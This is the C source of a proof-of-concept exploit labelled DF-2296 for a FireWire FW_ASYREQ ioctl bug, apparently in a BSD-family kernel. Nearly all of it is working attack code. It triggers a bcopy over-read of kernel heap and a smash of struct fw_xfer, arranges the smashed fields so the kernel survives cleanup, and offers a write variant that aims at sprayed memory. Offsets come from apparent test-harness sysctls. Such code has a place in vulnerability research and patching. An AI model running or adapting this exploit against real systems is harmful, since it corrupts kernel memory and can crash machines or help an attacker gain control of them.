DF-2296 / poc_2296.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-2296 PoC -- FW_ASYREQ bcopy over-read (fwdev.c:521-587). * * pay_len = MAX(0, asyreq->req.len - tinfo->hdr_len); fwdev.c:530 * ... * bcopy((char *)fp + tinfo->hdr_len, * (void *)&xfer->send.payload, pay_len); fwdev.c:560 * * req.len (u16) is never bounded by sizeof(asyreq->data) = 2048. The * ioctl data buffer staged by sys_ioctl is exactly sizeof(struct * fw_asyreq) = 2084 bytes (kmalloc M_IOCTLOPS, sys_generic.c:675), so * req.len > 2064 makes the bcopy read past it into adjacent kernel heap. * * STOCK-KERNEL COMPATIBILITY NOTE (verified the hard way): fwdev.c:561 * copies into (void *)&xfer->send.payload -- the ADDRESS OF THE POINTER * FIELD, not the payload buffer -- so the copy also smashes the tail of * struct fw_xfer (send.payload/pay_len/spd, recv.*, mbuf, link, malloc) * and overruns the fw_xfer allocation itself. To walk the full stock * ioctl path without dying at cleanup, the request data[] is crafted so * the smashed fields stay valid: * data[0..1] = 0 -> send.payload := NULL (fw_xfer_free_buf * NULL-guards the kfree) * data[2] = lenval -> smashed send.pay_len := lenval (must satisfy * the fw_asyreq MAXREC gate and len check) * data[4] = tcode 2 (WRES) in smashed recv.hdr -> response path * takes the (flag & FWTI_TLABEL)==0 early-out * data[8..9] = 0 -> recv.payload := NULL * data[12..13]= 0 -> mbuf := NULL (start() path taken) * data[18..19]= &M_FWXFER (hw.fwh_mfwxfer, no KASLR) -> xfer->malloc * valid for the final kfree(xfer, xfer->malloc) * pkt[3] = lenval << 16 (fw_pkt rresb.len is the HIGH 16 bits) * * usage: poc_2296 <reqlen> <lenval> [recvpaylen] * reqlen asyreq->req.len (pay_len = reqlen-16 drives the bcopy) * lenval value planted into the smashed send.pay_len (gate/check) * recvpaylen if nonzero, smashed recv.hdr tcode=1 + recv.pay_len = * this -> exercises the response-copy path (write variant) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/sysctl.h> #include <stdint.h> #include <stddef.h> struct fw_eui64 { u_int32_t hi, lo; }; struct fw_asyreq { struct fw_asyreq_t { unsigned char sped; unsigned int type; unsigned short len; union { struct fw_eui64 eui; } dst; } req; u_int32_t pkt[4]; /* struct fw_pkt header (16 bytes) */ u_int32_t data[512]; }; #define FW_ASYREQ _IOWR('S', 92, struct fw_asyreq) #define FWASREQNODE 0 #define FWTCODE_WREQB 1 _Static_assert(offsetof(struct fw_asyreq, pkt) == 20, "pkt offset"); _Static_assert(offsetof(struct fw_asyreq, data) == 36, "data offset"); _Static_assert(sizeof(struct fw_asyreq) == 2084, "fw_asyreq size"); static unsigned long sysctl_ul(const char *name) { unsigned long v = 0; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) != 0) { perror(name); exit(1); } return (v); } int main(int argc, char **argv) { struct fw_asyreq asy; unsigned long reqlen = (argc > 1) ? strtoul(argv[1], NULL, 0) : 4096; unsigned long lenval = (argc > 2) ? strtoul(argv[2], NULL, 0) : 4080; unsigned long recvpl = (argc > 3) ? strtoul(argv[3], NULL, 0) : 0; unsigned long pay_len = reqlen - 16; unsigned long mfwxfer = sysctl_ul("hw.fwh_mfwxfer"); u_int i; int fd, rc; setvbuf(stdout, NULL, _IONBF, 0); printf("DF-2296: FW_ASYREQ req.len=%lu -> bcopy pay_len=%lu " "(data[] capacity 2048, staging buffer 2084); lenval=%lu " "recvpaylen=%lu M_FWXFER=%#lx (uid=%d gid=%d)\n", reqlen, pay_len, lenval, recvpl, mfwxfer, getuid(), getgid()); fd = open("/dev/fw0.0", O_RDWR); if (fd < 0) { perror("open /dev/fw0.0"); return 1; } memset(&asy, 0, sizeof(asy)); asy.req.sped = 2; asy.req.type = FWASREQNODE; asy.req.len = (unsigned short)reqlen; asy.pkt[0] = (0xffc0u << 16) | (0u << 8) | (FWTCODE_WREQB << 4) | 0; asy.pkt[1] = 0x0001c0de; asy.pkt[2] = 0xf0000910; asy.pkt[3] = (u_int32_t)(lenval << 16); /* rresb.len = high 16 */ /* data[] doubles as the smash pattern. The fw_xfer tail layout is * taken from the harness sysctls (exact kernel offsetof values), * so the fields smashed by the fwdev.c:561 bcopy stay valid: * send.payload := NULL, send.pay_len := lenval, recv.hdr tcode, * recv.payload (NULL or a sprayed chunk), mbuf := NULL, * xfer->malloc := &M_FWXFER. */ { #define WO(off) (((off) - off_sp) / 4) u_int off_sp = sysctl_ul("hw.fwh_off_sendpayload"); u_int off_rh = sysctl_ul("hw.fwh_off_recvhdr"); u_int off_rp = sysctl_ul("hw.fwh_off_recvpayload"); u_int off_rl = sysctl_ul("hw.fwh_off_recvpaylen"); u_int off_mb = sysctl_ul("hw.fwh_off_mbuf"); u_int off_ml = sysctl_ul("hw.fwh_off_malloc"); printf("DF-2296: fw_xfer send.payload=+%u recv.hdr=+%u " "recv.payload=+%u recv.pay_len=+%u mbuf=+%u malloc=+%u\n", off_sp, off_rh, off_rp, off_rl, off_mb, off_ml); for (i = 0; i < 512; i++) asy.data[i] = 0x41000000u | i; asy.data[WO(off_sp)] = 0; /* send.payload lo */ asy.data[WO(off_sp + 4)] = 0; /* send.payload hi */ asy.data[WO(off_sp) + 2] = (u_int32_t)lenval; /* pay_len/spd */ asy.data[WO(off_rh)] = recvpl ? (FWTCODE_WREQB << 4) : (2u << 4); asy.data[WO(off_rp)] = 0; /* recv.payload lo */ asy.data[WO(off_rp + 4)] = 0; /* recv.payload hi */ asy.data[WO(off_rl)] = 0; /* recv.pay_len */ asy.data[WO(off_mb)] = 0; /* mbuf lo */ asy.data[WO(off_mb + 4)] = 0; /* mbuf hi */ asy.data[WO(off_ml)] = (u_int32_t)mfwxfer; /* malloc lo */ asy.data[WO(off_ml + 4)] = (u_int32_t)(mfwxfer >> 32); if (recvpl) { unsigned long rbuf = sysctl_ul("hw.fwh_spray_last"); asy.data[WO(off_rp)] = (u_int32_t)rbuf; asy.data[WO(off_rp + 4)] = (u_int32_t)(rbuf >> 32); asy.data[WO(off_rl)] = (u_int32_t)recvpl; } } rc = ioctl(fd, FW_ASYREQ, &asy); printf("DF-2296: ioctl rc=%d errno=%d (%s)\n", rc, errno, rc == 0 ? "full path completed (fw_asyreq/fw_asystart ran)" : "rejected by fw_asyreq AFTER the fwdev.c:560 bcopy already ran"); return 0; } |